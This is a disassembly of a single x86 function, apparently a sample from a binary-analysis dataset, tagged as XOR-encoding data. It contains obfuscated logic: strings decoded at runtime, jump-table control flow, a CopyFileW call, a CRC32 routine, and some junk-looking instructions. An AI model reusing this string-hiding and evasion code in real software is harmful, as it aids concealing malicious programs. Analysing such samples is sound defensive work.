Function at 0x426522
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x310
mov esi, esp
push eax
sub esp, 0x84
mov edi, esp
and edi, 0xfffffff8
mov esp, edi
push eax
sub esp, 0x84
mov ebx, esp
and ebx, 0xfffffff8
mov esp, ebx
push eax
sub esp, 0x84
mov eax, esp
and eax, 0xfffffff8
mov dword [esi + 0x58], eax
mov esp, eax
push eax
sub esp, 0x84
mov eax, esp
and eax, 0xfffffff8
mov dword [esi + 0x54], eax
mov esp, eax
push eax
sub esp, 0x84
mov eax, esp
and eax, 0xfffffff8
mov dword [esi + 0x50], eax
mov esp, eax
push eax
sub esp, 0x84
mov eax, esp
and eax, 0xfffffff8
mov dword [esi + 0x4c], eax
mov esp, eax
push eax
sub esp, 0xfc
mov dword [esi + 0x24], esp
sub esp, 0xc
mov dword [esi + 0x48], esp
sub esp, 8
mov dword [esi + 0x44], esp
sub esp, 0x24
mov dword [esi + 0xc], esp
push eax
mov dword [esi + 0x40], esp
push eax
mov dword [esi + 0x3c], esp
sub esp, 0x68
mov dword [esi + 0x20], esp
sub esp, 0x10
mov dword [esi + 8], esp
sub esp, 0x88
mov eax, esp
and eax, 0xfffffff8
mov dword [esi + 0x18], eax
mov esp, eax
push eax
sub esp, 0xc
mov dword [esi + 0x10], esp
sub esp, 0x800
mov dword [esi + 0x38], esp
sub esp, 0x80
mov dword [esi + 0x28], esp
sub esp, 0x44
mov dword [esi + 0x78], esp
sub esp, 0x10
mov dword [esi + 0x34], esp
push 2
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
shr eax, 0x1f
mov eax, dword [eax*4 + 0x444270]
mov ecx, 0xa3388441
xor ecx, dword [0x444278]
add eax, ecx
inc eax
jmp eax
inc esp
add byte [ecx + 0x31c689f1], cl
into
mov edi, ecx
not edi
and edi, eax
add edi, edi
mov edx, edi
sub edx, esi
lea ebx, [edx + edx*2]
shr ebx, 2
mov dword [esp + 0x10], ecx
movzx eax, byte [ecx + edx - 1]
cmp eax, 0x3d
je 0x425bbb
cmp eax, 0x2e
jne 0x425bbc
dec ebx
mov eax, edx
xor eax, 2
mov ecx, edx
and ecx, 0xfffffffd
add ecx, ecx
sub ecx, eax
mov eax, dword [esp + 0x10]
movzx eax, byte [eax + ecx]
cmp eax, 0x3d
mov dword [esp + 0xc], edx
je 0x425be0
cmp eax, 0x2e
jne 0x425be1
dec ebx
mov dword [esp + 0x40], ebx
lea eax, [ebx + 1]
push eax
call fcn.0040ca10
add esp, 4
mov dword [esp + 8], eax
cmp edi, esi
jne 0x425c3f
mov eax, dword [esp + 0x40]
mov esi, dword [esp + 8]
mov byte [esi + eax], 0
push esi
call fcn.00403e40
add esp, 4
mov edi, eax
lea ebx, [esp + 0x54]
jmp dword [0x445cd8]
xor edi, edi
mov esi, 2
jmp 0x425c60
mov edx, dword [esp + 0xc]
lea eax, [esi + 4]
add esi, 2
cmp esi, edx
mov esi, eax
jae 0x425bf9
mov dword [esp + 0x14], edi
mov edi, dword [esp + 0x10]
movzx eax, byte [edi + esi - 2]
push eax
call fcn.0041d490
add esp, 4
mov bh, al
movzx eax, byte [edi + esi - 1]
push eax
call fcn.0041d490
add esp, 4
mov bl, al
xor al, 0xc0
mov ecx, ebx
or cl, 0x30
and cl, al
shl bh, 2
shr cl, 4
add cl, bh
mov eax, dword [esp + 8]
mov edx, dword [esp + 0x14]
mov byte [eax + edx], cl
mov eax, edx
mov edi, edx
and eax, 1
xor edi, 1
lea edi, [edi + eax*2]
mov edx, dword [esp + 0xc]
cmp esi, edx
jae 0x425c54
mov eax, dword [esp + 0x10]
movzx eax, byte [eax + esi]
push eax
call fcn.0041d490
add esp, 4
cmp al, 0x40
je 0x425c50
shl bl, 4
mov ecx, eax
shr cl, 2
and cl, 0xf
or cl, bl
mov ebx, edi
inc edi
mov edx, dword [esp + 8]
mov dword [esp + 0x14], ebx
mov byte [edx + ebx], cl
lea ecx, [esi + 1]
mov edx, dword [esp + 0xc]
cmp ecx, edx
jae 0x425c54
mov ebx, eax
mov eax, dword [esp + 0x10]
movzx eax, byte [eax + esi + 1]
push eax
call fcn.0041d490
mov edx, dword [esp + 0x10]
add esp, 4
cmp al, 0x40
je 0x425c54
shl bl, 6
add al, bl
mov ecx, dword [esp + 8]
mov edi, dword [esp + 0x14]
mov byte [ecx + edi + 1], al
add edi, 2
jmp 0x425c54
movzx edx, byte [esp + ecx + 0xa0]
mov edi, eax
and edi, 8
mov esi, ecx
xor esi, 0x3f5a9c24
add esi, edi
mov edi, edx
not edi
or edi, 0xc0
lea ebx, [esi + esi]
not ebx
add ebx, esi
and ebx, 0x3f
and esi, 0x40
out 0x40, al
out 0x40, al
or esi, ebx
add edi, edx
or edx, 0xc0
mov ebx, 0xfe
sub ebx, edi
and ebx, edx
xor ebx, esi
mov dl, 0x4b
sub dl, bl
mov byte [esp + ecx + 0xa0], dl
inc ecx
add eax, 2
cmp ecx, 0x1b
jne 0x425ff0
mov dword [esp + 0x1c], 0x13e011f4
mov dword [esp + 0x20], 0x1fd11dd1
mov dword [esp + 0x24], 0x1be919d1
mov dword [esp + 0x28], 0x7f405f8
mov dword [esp + 0x2c], 0x3e601f9
mov dword [esp + 0x30], 0xfcf0df9
mov dword [esp + 0x34], 0xbc209cb
mov dword [esp + 0x38], 0x37c035fd
mov dword [esp + 0x3c], 0x33d631fd
mov dword [esp + 0x40], 0x3fc93dcf
mov dword [esp + 0x44], 0x3bc639f6
mov dword [esp + 0x48], 0x27e725db
mov dword [esp + 0x4c], 0x23ef21d2
mov dword [esp + 0x50], 0x2fd02dc8
mov dword [esp + 0x54], 0x2bbe29c9
mov dword [esp + 0x58], 0xd73bd54a
mov dword [esp + 0x5c], 0xd321d134
mov dword [esp + 0x60], 0xdf33dd40
mov dword [esp + 0x64], 0xdb4fd939
mov word [esp + 0x68], 0xc5c4
mov word [esp + 0x6e], 0
mov dword [esp + 0x6a], 0
mov edx, 0x44
nop
nop
nop
nop
nop
nop
movzx eax, byte [esp + edx - 0x28]
mov ebx, eax
mov esi, eax
and ebx, edx
mov eax, ebx
or al, 0xfd
inc al
mov ecx, ebx
and cl, 0xfd
mul cl
mov ecx, eax
mov eax, esi
add cl, al
mov eax, ebx
shr al, 1
and al, 1
or bl, 2
mul bl
add al, al
sub cl, al
movzx eax, cl
add eax, edx
add al, 0xac
mov byte [esp + edx - 0x28], al
inc edx
cmp edx, 0x98
jne case.default.0x42615f
lea ebp, [esp + 0xa0]
lea ebx, [esp + 0x1c]
push ebp
push ebx
call fcn.00436220
add esp, 8
mov edi, eax
xor eax, eax
test edi, edi
sete al
jmp dword [eax*4 + 0x445d08]
mov ecx, edi
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
add ecx, 2
cmp word [eax], 0
jne 0x426170
sub eax, edi
cmp eax, 0xffffffd9
jge 0x426199
mov eax, 0xffffffff
jmp 0x42619c
mov eax, dword [case.0x42615f.4]
nop
nop
jmp eax
xor eax, eax
jmp 0x426b63
add eax, 0x26
push eax
call fcn.0040ca10
add esp, 4
mov dword [esp + 4], eax
mov dword [esp + 0x1c], 0xf690964
mov dword [esp + 0x20], 0x3700d7f
mov dword [esp + 0x24], 0x77f017a
mov dword [esp + 0x28], 0x1b76057f
mov dword [esp + 0x2c], 0x1f6d197f
mov dword [esp + 0x30], 0x13681d6e
mov dword [esp + 0x34], 0x176d1169
mov dword [esp + 0x38], 0x2ba01526
mov dword [esp + 0x3c], 0x2f54294c
mov dword [esp + 0x40], 0x2d2c
mov byte [esp + 0x44], 0
xor eax, eax
mov ecx, eax
add cl, 2
xor cl, byte [esp + eax + 0x1c]
add cl, 0xf6
mov byte [esp + eax + 0x1c], cl
inc eax
cmp eax, 0x29
jne 0x426200
movzx ecx, word [edi]
mov eax, dword [esp + 4]
test cx, cx
je 0x426241
mov edx, edi
add edx, 2
mov eax, dword [esp + 4]
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x426230
mov word [eax], 0
movzx ecx, word [esp + 0x1c]
test cx, cx
je 0x426271
lea edx, [esp + 0x1e]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x426260
mov word [eax], 0
jmp dword [0x445d20]
push edi
call fcn.0040ca20
add esp, 4
xor eax, eax
mov esi, dword [esp + 4]
cmp word [esi], 0x2a
sete al
jmp dword [eax*4 + 0x445d28]
xor eax, eax
mov esi, dword [esp + 4]
cmp word [esi], 0x2a
sete al
jmp dword [eax*4 + 0x445d28]
mov dword [esp + 0x1c], 0xb1d48fc9
mov dword [esp + 0x20], 0xb5d7b3cc
mov dword [esp + 0x24], 0xb9d8b725
mov dword [esp + 0x28], 0xbdd1bbde
mov dword [esp + 0x2c], 0xa1c2bfd5
mov dword [esp + 0x30], 0xa533a3c5
mov dword [esp + 0x34], 0xa9c0a7ca
mov dword [esp + 0x38], 0xadc3abc3
mov dword [esp + 0x3c], 0xd138af82
mov dword [esp + 0x40], 0xd5b4d3b4
mov word [esp + 0x44], 0xd7d4
mov dword [esp + 0x46], 0
mov word [esp + 0x4a], 0
mov eax, 0x9d
mov ecx, 2
nop
nop
nop
mov esi, ecx
and esi, 7
mov edx, eax
and edx, 0xf8
or edx, esi
xor dl, byte [esp + eax - 0x81]
xor dl, 7
add dl, 0xef
mov byte [esp + eax - 0x81], dl
inc eax
dec ecx
cmp eax, 0xcd
jne case.default.0x426372
push 0
push ebx
mov esi, dword [esp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0x60
push 3
push 0x120089
push ebp
push esi
call fcn.0043e760
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x445d30]
xor edi, edi
xor esi, esi
mov ebx, dword [esp + 4]
jmp dword [0x445d90]
lea eax, [esp + 0x90]
push 0
push eax
push dword [esp + 0xa8]
call fcn.0043ead0
add esp, 0xc
not eax
shr eax, 0x1f
xor esi, esi
xor ebp, ebp
jmp dword [eax*4 + 0x445d38]
mov esi, dword [esp + 0x90]
lea eax, [esi + 1]
push eax
call fcn.0040ca10
add esp, 4
mov edi, eax
push 0
push esi
push eax
push dword [esp + 0xac]
call fcn.0043eba0
add esp, 0x10
not eax
shr eax, 0x1f
xor esi, esi
xor ebp, ebp
jmp dword [eax*4 + 0x445d40]
mov esi, dword [esp + 0x90]
mov byte [edi + esi], 0
push 0x20
call fcn.0040ca10
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [esp + 0x10], eax
mov ecx, eax
push esi
mov dword [esp + 0x74], edi
push edi
call fcn.00428730
movzx eax, al
xor esi, esi
xor ebp, ebp
jmp dword [eax*4 + 0x445d48]
mov dword [esp + 0x1c], 0x1b0c0a37
mov dword [esp + 0x20], 0xe1c341f
mov dword [esp + 0x24], 0x1b2f3b43
mov dword [esp + 0x28], 0x24591006
mov dword [esp + 0x2c], 0x12271404
mov dword [esp + 0x30], 0x1c1d4457
mov dword [esp + 0x34], 0xf3ec0c13
mov word [esp + 0x38], 0x7df3
mov dword [esp + 0x3a], 0
mov word [esp + 0x3e], 0
mov eax, 0x66
mov ecx, 0x99
nop
nop
nop
movzx esi, byte [esp + eax - 0x4a]
mov edx, ecx
xor edx, eax
and edx, esi
xor edx, eax
add dl, 2
mov byte [esp + eax - 0x4a], dl
inc eax
dec ecx
cmp eax, 0x8a
jne case.default.0x4264d2
mov ecx, dword [esp + 0x10]
push ebx
call fcn.00428920
xor ecx, ecx
test eax, eax
setne cl
xor ebp, ebp
xor esi, esi
jmp dword [ecx*4 + 0x445d50]
mov edi, dword [esp + 0x70]
jmp dword [0x445d60]
mov ebx, dword [esp + 0x10]
mov ecx, ebx
call fcn.00428a80
push ebx
call fcn.0040ca20
add esp, 4
jmp dword [0x445d68]
jmp dword [0x445d68]
push edi
call fcn.0040ca20
add esp, 4
mov eax, dword [case.0x4264d2.9]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
mov ebx, esi
mov eax, dword [esp + 0xa0]
mov dword [esp + 0x1c], 0x20272625
mov byte [esp + 0x20], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0x89
xor dl, byte [esp + ecx + 0x1c]
add dl, 0x53
mov byte [esp + ecx + 0x1c], dl
inc ecx
cmp ecx, 5
jne 0x426540
mov ecx, dword [0x449ea0]
test ecx, ecx
je 0x42658c
mov edx, dword [esp + 0x1c]
xor esi, esi
mov edi, dword [0x449ea4]
nop
nop
nop
nop
cmp dword [edi + esi*8], 0xb62b8d10
je 0x426580
inc esi
cmp ecx, esi
jne 0x426570
jmp 0x42658c
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x426a20
mov edi, ebx
mov esi, ebp
lea ebp, [esp + 0xa0]
mov ebx, dword [esp + 4]
jmp dword [0x445d90]
jmp dword [0x445d9c]
push ebx
call fcn.0040ca20
add esp, 4
push ebx
call fcn.0040ca20
add esp, 4
jmp dword [0x445da4]
xor eax, eax
cmp esi, edi
sete al
jmp dword [eax*4 + 0x445da8]
mov dword [esp + 8], edi
mov eax, edi
mov dword [esp + 0x14], esi
sub eax, esi
sar eax, 3
mov ecx, eax
and ecx, 0xfffffbde
mov edx, eax
and edx, 0x421
or eax, 0x421
imul eax, edx
xor edx, 0x421
imul edx, ecx
add eax, edx
push eax
call fcn.0040ca10
add esp, 4
mov dword [esp + 0xc], eax
mov dword [esp + 0x1c], 0xe152e7bb
mov dword [esp + 0x20], 0xdd7fe371
mov dword [esp + 0x24], 0xd94adf7f
mov dword [esp + 0x28], 0xd54adb9b
mov dword [esp + 0x2c], 0xd16ad744
mov dword [esp + 0x30], 0xcd5ed373
mov dword [esp + 0x34], 0xc991cf6f
mov dword [esp + 0x38], 0xc567cb6c
mov dword [esp + 0x3c], 0xc159c748
mov dword [esp + 0x40], 0x3d55c363
mov dword [esp + 0x44], 0x39aa3f98
mov dword [esp + 0x48], 0x35a73ba9
mov dword [esp + 0x4c], 0x31a23797
mov dword [esp + 0x50], 0x2dbc3366
mov dword [esp + 0x54], 0x29b02fb0
lea eax, [esp + 0x58]
mov word [esp + 0x58], 0x2b28
mov dword [esp + 0x5a], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0xd9
xor dl, byte [esp + ecx + 0x1c]
add dl, 0xc3
mov byte [esp + ecx + 0x1c], dl
mov edx, ecx
or edx, 1
add edx, ecx
not ecx
or ecx, 1
add ecx, edx
inc ecx
cmp ecx, 0x42
jb 0x4266a0
lea edx, [esp + 0x1c]
mov edi, ebp
mov ecx, 0xf
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edi, [esp + 0xdc]
mov ecx, 1
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
lea esi, [esp + 0x9c]
push esi
push 0
push 0
push 0x1e
push ebp
push 0
call dword [0x449e9c]
mov edi, dword [esp + 0x9c]
mov ebx, ebp
test edi, edi
jns 0x426720
mov eax, 0xffffffff
jmp 0x426723
xor eax, eax
test esi, esi
jne 0x426b34
jmp 0x426b63
lea eax, [edi + edi]
push eax
call fcn.0040ca10
add esp, 4
mov ebp, eax
push esi
push edi
push eax
push 0x1e
push ebx
push 0
call dword [0x449e9c]
lea eax, [esp + 0x7c]
push 0x60
push 3
push 0x120089
push eax
mov dword [esp + 0x84], ebp
push ebp
call fcn.0043e760
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x445db0]
mov dword [esp], 0
mov ebp, dword [esp + 0xc]
mov ebx, ebp
mov edi, dword [esp + 8]
mov esi, dword [esp + 0x14]
jmp dword [0x445e68]
lea eax, [esp + 0x78]
push 0
push eax
push dword [esp + 0x84]
call fcn.0043ead0
add esp, 0xc
not eax
shr eax, 0x1f
xor edx, edx
mov dword [esp], 0
mov ebp, dword [esp + 0xc]
mov ebx, ebp
jmp dword [eax*4 + 0x445db8]
mov esi, dword [esp + 0x78]
lea eax, [esi + 1]
push eax
call fcn.0040ca10
add esp, 4
mov edi, eax
push 0
push esi
push eax
push dword [esp + 0x88]
call fcn.0043eba0
add esp, 0x10
not eax
shr eax, 0x1f
mov dword [esp], 0
mov ebx, ebp
jmp dword [eax*4 + 0x445dc0]
jmp dword [0x445dcc]
mov esi, dword [esp + 0x78]
mov byte [edi + esi], 0
push 0x20
call fcn.0040ca10
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov ecx, eax
push esi
push edi
call fcn.00428730
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, dword [esp + 0x78]
mov byte [edi + esi], 0
push 0x20
call fcn.0040ca10
add esp, 4
mov ebx, eax
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov ecx, eax
push esi
push edi
call fcn.00428730
jmp dword [0x445dd0]
mov dword [esp + 0x80], ebx
mov dword [esp + 0x98], edi
movzx eax, al
mov dword [esp], 0
mov ebx, ebp
jmp dword [eax*4 + 0x445dd8]
mov dword [esp + 0x1c], 0x9b8c8a77
mov dword [esp + 0x20], 0x8e9c749f
mov dword [esp + 0x24], 0x9b6f7b43
mov dword [esp + 0x28], 0x64599086
mov dword [esp + 0x2c], 0x92679484
mov dword [esp + 0x30], 0x91917a57
mov dword [esp + 0x34], 0xb3a19c92
mov dword [esp + 0x38], 0xa3a55c43
mov word [esp + 0x3c], 0x39a5
mov dword [esp + 0x3e], 0
mov byte [esp + 0x42], 0
mov eax, 0x40dd2c06
mov ecx, 0xf9
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax - 0x40dd2bea]
lea esi, [eax - 0x40dd2c00]
lea edi, [ecx - 0xf8]
and edi, 3
and esi, 0x7c
or esi, edi
xor esi, 0xfc
and esi, ecx
mov edi, eax
or edi, edx
not edx
or edx, esi
and edx, edi
add edx, 0xbbae23e1
mov esi, edx
and esi, 1
xor edx, 1
lea edx, [edx + esi*2]
mov byte [esp + eax - 0x40dd2bea], dl
inc eax
dec ecx
cmp eax, 0x40dd2c2d
jne 0x426910
mov ecx, dword [esp + 0x80]
lea eax, [esp + 0x1c]
push eax
call fcn.00428920
xor ecx, ecx
test eax, eax
setne cl
mov dword [esp], 0
mov ebx, ebp
jmp dword [ecx*4 + 0x445de0]
mov edi, dword [esp + 0x98]
jmp dword [0x445e58]
mov esi, dword [esp + 0x80]
mov ecx, esi
call fcn.00428a80
push esi
call fcn.0040ca20
add esp, 4
xor edx, edx
jmp dword [0x445e60]
xor edx, edx
jmp dword [0x445e60]
push edi
call fcn.0040ca20
xor edx, edx
add esp, 4
mov eax, dword [esp + 0x7c]
mov dword [esp + 0x1c], 0x20272625
mov byte [esp + 0x20], 0
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, edx
add cl, 0x89
xor cl, byte [esp + edx + 0x1c]
add cl, 0x53
mov byte [esp + edx + 0x1c], cl
inc edx
cmp edx, 5
jne 0x4269e0
mov ecx, dword [0x449ea0]
test ecx, ecx
je 0x426a53
mov edx, dword [esp + 0x1c]
xor esi, esi
mov edi, dword [0x449ea4]
nop
nop
nop
nop
cmp dword [edi + esi*8], 0xb62b8d10
je 0x426a47
inc esi
cmp ecx, esi
jne 0x426a10
jmp 0x426a53
push eax
push 1
push ecx
push dword [0x449ea8]
call fcn.0043b0a0
add esp, 0x10
mov edi, ebx
mov esi, ebp
lea ebp, [esp + 0xa0]
mov ebx, dword [esp + 4]
jmp dword [0x445d90]
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x426b6e
mov edi, dword [esp + 8]
mov esi, dword [esp + 0x14]
jmp dword [0x445e68]
push dword [esp + 0x74]
call fcn.0040ca20
add esp, 4
mov eax, dword [case.0x4264d2.70]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
mov eax, dword [esp]
mov ecx, eax
and cl, 1
movzx ecx, cl
jmp dword [ecx*4 + 0x445e80]
jmp dword [0x445e88]
mov byte [ebx], 0
mov dword [esp + 0x1c], 0x434649b9
mov dword [esp + 0x20], 0x7f534a4d
mov dword [esp + 0x24], 0x407c4249
mov dword [esp + 0x28], 0x764662bf
mov dword [esp + 0x2c], 0x6bb57c69
mov dword [esp + 0x30], 0x717f7277
mov dword [esp + 0x34], 0x5752b34f
mov word [esp + 0x38], 0xdd50
mov dword [esp + 0x3a], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0x56
xor cl, byte [esp + eax + 0x1c]
add cl, 0x52
mov byte [esp + eax + 0x1c], cl
inc eax
cmp eax, 0x22
jne 0x426af0
sub ebx, ebp
mov ecx, dword [esp + 0xf4]
push ebx
push ebp
lea eax, [esp + 0x24]
push eax
call fcn.0040d480
jmp dword [0x445e88]
push ebp
mov ebx, eax
call fcn.0040ca20
mov eax, ebx
add esp, 4
and al, 1
test esi, esi
je 0x426b63
cmp esi, edi
je 0x426b63
mov ebp, eax
mov ebx, esi
jmp 0x426b47
add esi, 8
cmp esi, edi
je 0x426b58
mov eax, dword [esi]
test eax, eax
je 0x426b40
push eax
call fcn.0040ca20
add esp, 4
jmp 0x426b40
push ebx
call fcn.0040ca20
add esp, 4
mov eax, ebp
add esp, 0xe0
pop esi
pop edi
pop ebx
pop ebp
ret
push eax
push 1
push ecx
push dword [0x449ea8]
call fcn.0043b0a0
add esp, 0x10
mov edi, dword [esp + 8]
mov esi, dword [esp + 0x14]
jmp dword [0x445e68]
add eax, 8
xor esi, esi
mov ecx, dword [eax]
xor eax, eax
test ecx, ecx
setne al
xor ebp, ebp
xor edi, edi
mov dword [esp + 0xc], 0
jmp dword [eax*4 + 0x445d58]
mov ecx, dword [esp]
mov dword [esi + ecx + 4], eax
mov ebp, esi
mov esi, dword [esp + 8]
add esi, 8
mov ecx, dword [esp + 0x74]
add ecx, 4
mov ecx, dword [ecx]
xor eax, eax
test ecx, ecx
setne al
mov edi, ebp
jmp dword [eax*4 + 0x445d58]
mov dword [esp + 0x74], ecx
mov eax, dword [ecx]
mov dword [esp + 0x18], eax
mov ecx, esi
sub ecx, edi
mov dword [esp + 8], esi
mov ebp, dword [esp + 0xc]
cmp esi, ebp
mov dword [esp], ecx
je 0x426bfd
mov esi, edi
jmp 0x426c89
mov eax, ecx
sar eax, 3
inc eax
mov ecx, ebp
sub ecx, edi
sar ecx, 3
mov ebx, ecx
shr ebx, 1
add ebx, ecx
cmp ebx, eax
ja 0x426c16
mov ebx, eax
mov eax, ebx
and eax, 8
mov ecx, ebx
or ecx, 8
imul ecx, eax
xor eax, 8
mov edx, ebx
and edx, 0xfffffff7
imul edx, eax
add ecx, edx
push ecx
call fcn.0040ca10
add esp, 4
mov esi, eax
test edi, edi
je 0x426c7b
cmp edi, ebp
je 0x426c72
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [edi + eax]
mov dword [esi + eax], ecx
mov ecx, dword [edi + eax + 4]
mov dword [esi + eax + 4], ecx
mov dword [edi + eax], 0
lea ecx, [edi + eax]
add ecx, 8
add eax, 8
cmp ecx, ebp
jne 0x426c50
push edi
call fcn.0040ca20
add esp, 4
lea ebp, [esi + ebx*8]
mov eax, esi
mov ecx, dword [esp]
add eax, ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], ebp
mov dword [esi + ecx], 0
mov dword [esi + ecx + 4], 0
xor ebx, ebx
mov ebp, dword [esp + 0x18]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [ebp + ebx], 0
lea ebx, [ebx + 1]
jne 0x426cb0
push ebx
call fcn.0040ca10
add esp, 4
mov ecx, dword [esp]
mov dword [esi + ecx], eax
mov ecx, ebx
shr ecx, 2
mov edx, ebp
mov edi, eax
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
mov edx, ebx
and edx, 0xfffffffc
add eax, edx
add edx, ebp
mov ecx, ebx
shr ecx, 1
and ecx, 1
mov ebp, edx
mov edi, eax
xchg esi, ebp
rep movsw word es:[edi], word [esi]
xchg esi, ebp
mov ecx, ebx
inc cl
test cl, 1
jne 0x426d13
mov ecx, ebx
and ecx, 2
movzx edx, byte [edx + ecx]
mov byte [eax + ecx], dl
xor eax, eax
cmp ebx, 1
je 0x426bb0
mov dword [esp + 0x14], esi
mov eax, 0xffffffff
mov ecx, 1
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, dword [esp + 0x18]
movzx edx, byte [edx + ecx - 1]
mov edi, eax
and edi, edx
add eax, edx
add edi, edi
mov edx, eax
sub edx, edi
mov edi, edx
shr edi, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, edi
mov ebp, eax
shr ebp, 1
mov edi, edx
shl edi, 0x1e
sar edi, 0x1f
and edi, 0xedb88320
xor edi, ebp
mov esi, edx
shl esi, 0x1d
sar esi, 0x1f
and esi, 0x76dc419
mov ebp, edx
shl ebp, 0x1c
sar ebp, 0x1f
and ebp, 0xedb8832
xor ebp, esi
mov esi, edx
shl esi, 0x1b
sar esi, 0x1f
and esi, 0x1db71064
shl edx, 0x1a
sar edx, 0x1f
and edx, 0x3b6e20c8
xor edx, esi
xor edx, ebp
mov esi, edi
shr esi, 6
xor edx, esi
shl eax, 0x1a
sar eax, 0x1f
and eax, 0x76dc4190
mov esi, eax
xor esi, edx
shl edi, 0x1a
sar edi, 0x1f
and edi, 0xedb88320
mov eax, edi
xor eax, esi
inc ecx
cmp ebx, ecx
jne 0x426d30
not eax
mov esi, dword [esp + 0x14]
jmp 0x426bb0
add eax, 8
mov dword [esp], 0
mov esi, dword [eax]
xor eax, eax
test esi, esi
setne al
mov ebx, ebp
jmp dword [eax*4 + 0x445de8]
add esi, 4
mov esi, dword [esi]
xor eax, eax
test esi, esi
setne al
jmp dword [eax*4 + 0x445de8]
mov edx, dword [esi]
cmp dword [esi + 0x18], 3
mov edi, 0
jne case.default.0x426e32
mov edi, dword [esi + 0x10]
test edx, edx
setne al
test edi, edi
setne cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x445df0]
mov dword [esp + 0x10], esi
mov eax, edi
nop
mov esi, eax
inc eax
cmp byte [esi], 0
jne case.default.0x426e72
mov dword [esp + 0x18], edx
sub esi, edi
inc esi
shr esi, 1
mov dword [esp + 0x70], ebx
lea eax, [esi + 1]
push eax
call fcn.0040ca10
add esp, 4
movsx ecx, byte [edi]
xor edx, edx
test ecx, ecx
setne dl
mov dword [esp + 0x84], eax
jmp dword [edx*4 + 0x445df8]
inc edi
mov byte [eax], dl
inc eax
movsx ecx, byte [edi]
xor edx, edx
test ecx, ecx
setne dl
jmp dword [edx*4 + 0x445df8]
lea edx, [ecx - 0x30]
cmp edx, 0xa
jb 0x426ea2
mov edx, 0xffffffff
or ecx, 0x20
lea ebx, [ecx - 0x61]
cmp ebx, 6
jae case.default.0x426ebd
add ecx, 0xffffffa9
mov edx, ecx
movsx ecx, byte [edi + 1]
xor ebx, ebx
test ecx, ecx
setne bl
jmp dword [ebx*4 + 0x445e00]
lea ebp, [ecx - 0x30]
cmp ebp, 0xa
jb 0x426ed1
mov ebp, 0xffffffff
or ecx, 0x20
lea ebx, [ecx - 0x61]
cmp ebx, 6
jae case.default.0x426ef6
add ecx, 0xffffffa9
mov ebp, ecx
shl edx, 4
or edx, ebp
add edi, 2
mov byte [eax], dl
inc eax
movsx ecx, byte [edi]
xor edx, edx
test ecx, ecx
setne dl
jmp dword [edx*4 + 0x445df8]
mov byte [eax], 0
push 0
push 0x10
push 0
push dword [esp + 0x24]
call fcn.00428b20
add esp, 0x10
mov dword [esp + 0x18], eax
mov dword [esp + 4], edx
xor edx, edx
mov ecx, dword [case.0x4264d2.51]
xor eax, eax
mov ebp, dword [esp + 0x14]
cmp ebp, dword [esp + 8]
setne al
jmp dword [eax*4 + 0x445e08]
mov edx, dword [ebp]
xor ebx, ebx
mov eax, dword [esp + 8]
jmp dword [ebx*4 + 0x445e28]
add ebp, 8
xor ebx, ebx
cmp ebp, eax
setne bl
jmp dword [ebx*4 + 0x445e08]
mov ebx, dword [ebp + 4]
mov edi, ebx
shr edi, 0x1c
shl ebx, 4
or ebx, 1
xor edi, dword [esp + 4]
xor ebx, dword [esp + 0x18]
xor eax, eax
or ebx, edi
sete al
jmp dword [eax*4 + 0x445e10]
jmp ecx
mov ebx, 1
mov eax, dword [esp + 8]
jmp dword [ebx*4 + 0x445e28]
xor eax, eax
test edx, edx
setne al
jmp dword [eax*4 + 0x445e30]
mov ebp, dword [esp + 0xc]
mov ebx, dword [esp + 0x70]
mov esi, dword [esp + 0x10]
jmp dword [0x445e40]
mov edi, edx
mov dword [esp + 0x1c], esi
mov eax, dword [esp + 0x84]
mov dword [esp + 0x20], eax
mov eax, 0xffffffff
mov ebp, dword [esp + 0xc]
lea esi, [esp + 0x1c]
cmp byte [edi + eax + 1], 0
lea eax, [eax + 1]
jne case.default.0x427047
mov dword [esp + 0x90], eax
mov ebx, dword [esp + 0x70]
mov dword [esp + 0x94], edi
mov dword [esp + 0x88], 0
